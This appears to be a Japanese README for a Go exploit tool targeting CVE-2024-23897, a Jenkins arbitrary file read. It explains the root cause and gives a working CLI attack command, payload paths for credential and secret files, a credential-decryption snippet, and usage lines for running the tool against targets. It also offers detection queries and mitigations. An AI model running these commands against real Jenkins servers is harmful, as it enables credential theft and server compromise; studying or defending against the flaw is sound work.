
CVE-2024-23897: Jenkinsの任意ファイル読み取りがRCEにつながる
CVE-2024-23897: Jenkins 任意ファイル読み取りによる RCE 🎯 影響を受ける製品とバージョン
製品: Jenkins(継続的インテグレーション/継続的デリバリーサーバー)
バージョン: Jenkins 2.441 以前、Jenkins LTS 2.426.2 以前
修正済み: Jenkins 2.442、Jenkins LTS 2.426.3
📝 説明
CVE-2024-23897 は Jenkins における深刻な脆弱性で、認証されていない攻撃者が Jenkins コントローラのファイルシステム上の任意のファイルを読み取ることができるものです。この脆弱性は、Jenkins が CLI コマンドパーサーの機能(「@」文字に続くファイルパスをファイルの内容に置き換える機能)を無効にしていないために発生します。
この欠陥は他の手法と組み合わせることでリモートコード実行(RCE)につながる可能性があり、CI/CD パイプラインで Jenkins を使用している組織にとって特に危険です。 🔍 脆弱性の詳細 根本原因
この脆弱性は、org.kohsuke.args4j.CmdLineParser クラスの expandAtFiles() 関数に起因します。CLI 引数の解析時に、パーサーが「@」記号の後にファイルパスが続く形式を検出すると、そのファイルの内容を読み取って展開します。 攻撃ベクター
攻撃者は認証なしで Jenkins CLI インターフェースを使用してこの脆弱性を悪用できます: bash
java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ help @/etc/passwd
技術的分析 ファイル読み取りの制限
認証なし: ファイルの最初の 3 行のみ読み取り可能(CLI コマンドによる)
「Overall/Read」権限あり: ファイルの全内容を読み取り可能
バイナリファイル: 抽出は可能だが、エンコーディングの問題の影響を受ける可能性あり(Windows では Windows-1252 の方が Linux の UTF-8 よりも良好な結果が得られる)
攻撃対象領域の拡大
ファイル読み取りが達成されると、攻撃者はより深刻な攻撃にエスカレーションできます:
認証情報の抽出:
暗号化された認証情報を得るために /var/jenkins_home/credentials.xml を読み取る
復号化のために /var/jenkins_home/secrets/master.key と hudson.util.Secret を読み取る
Jenkins スクリプトコンソールを使用して認証情報を復号化: println(Hudson.util.Secret.fromString("{XXX=}").getPlainText())
「Remember-me」クッキーの偽造:
認証クッキーを偽造して管理者アクセスを取得
任意のコード実行:
Resource Root URL、XSS、CSRF ベクターを通じて RCE を達成
💥 影響 直接的な影響
機密性: Jenkins サーバー上のすべてのファイル(ソースコード、認証情報、SSH キー、トークン)の完全な開示
完全性: 攻撃者がビルド、パイプライン、設定を変更可能
可用性: サービス拒否またはランサムウェア展開の可能性
実世界での悪用
この脆弱性は実際に活発に悪用されています:
CISA の Known Exploited Vulnerabilities(KEV)カタログに追加済み
ランサムウェア集団(RansomEXX)によってインフラ侵害に使用済み
脅威アクター IntelBroker によって GitHub リポジトリの窃取と IT サービスプロバイダーの侵害に悪用済み
🔧 検出 侵害インジケーター(IOC)
悪用の試みが成功した場合は、以下を通じて検出できます:
HTTP リクエストパターン: text
POST /cli?remoting=false HTTP/1.1 Content-type: application/octet-stream [binary payload containing @/path/to/file]
典型的なペイロード例:
@/etc/passwd
@/var/jenkins_home/secrets/initialAdminPassword
@/etc/os-release
Splunk 検出クエリ text
index=web uri="/cli?remoting=false" http_method=POST http_status=200
🛡️ 緩和策 公式修正
パッチ適用済みバージョンにアップグレード:
Jenkins ≥ 2.442
Jenkins LTS ≥ 2.426.3
一時的な緩和策
即時のパッチ適用が不可能な場合:
Jenkins CLI アクセスを無効化
Java システムプロパティを設定: hudson.cli.CLICommand.allowAtSyntax=false
Jenkins 管理インターフェースへのネットワークアクセスを制限
@/ パターンを含むリクエストをブロックする WAF ルールを実装
🔗 参考情報
NVD エントリ
Jenkins セキュリティアドバイザリ
CISA KEV カタログ
Splunk リサーチ
Tenable CVE ページ
📦 ビルドと実行
bash
go build -o jenkins-cve-2024-23897 exploit.go
./jenkins-cve-2024-23897 http://target-jenkins:8080 /etc/passwd
go run exploit.go http://target-jenkins:8080 /etc/passwd
🎯 使用例 bash
./jenkins-cve-2024-23897 http://jenkins.internal:8080 /etc/passwd ./jenkins-cve-2024-23897 http://localhost:8080 /var/jenkins_home/secrets/initialAdminPassword
./jenkins-cve-2024-23897 http://win-jenkins:8080 C:/Windows/win.ini
⚙️ 動作原理
セッション初期化: 一意の 20 バイトのセッション ID を生成
ペイロード構築: help @/path/to/file 構造のバイナリペイロードを構築
アップロードフェーズ: Jenkins CLI エンドポイントにペイロードを送信
ダウンロードフェーズ: レスポンスからファイルの内容を取得
出力: ファイルの内容またはエラーメッセージを表示
📊 特徴
純粋な Go 実装 - 外部依存関係なし
クロスプラットフォーム - Windows、Linux、macOS で動作
設定可能なタイムアウト - 低速ネットワーク向けに調整可能
明確なエラーハンドリング - 詳細なエラーメッセージ
バイナリセーフ - テキストファイルとバイナリファイルの両方を処理
⚠️ 重要な注意事項
教育目的のみ - 所有している、またはテスト許可を得ているシステムでのみ使用すること
認証なしの読み取り - 認証なしでは最初の約 3 行のみ読み取り可能
バイナリファイル - エンコーディングの問題の影響を受ける可能性あり(より良いバイナリ抽出には Windows ターゲットを使用)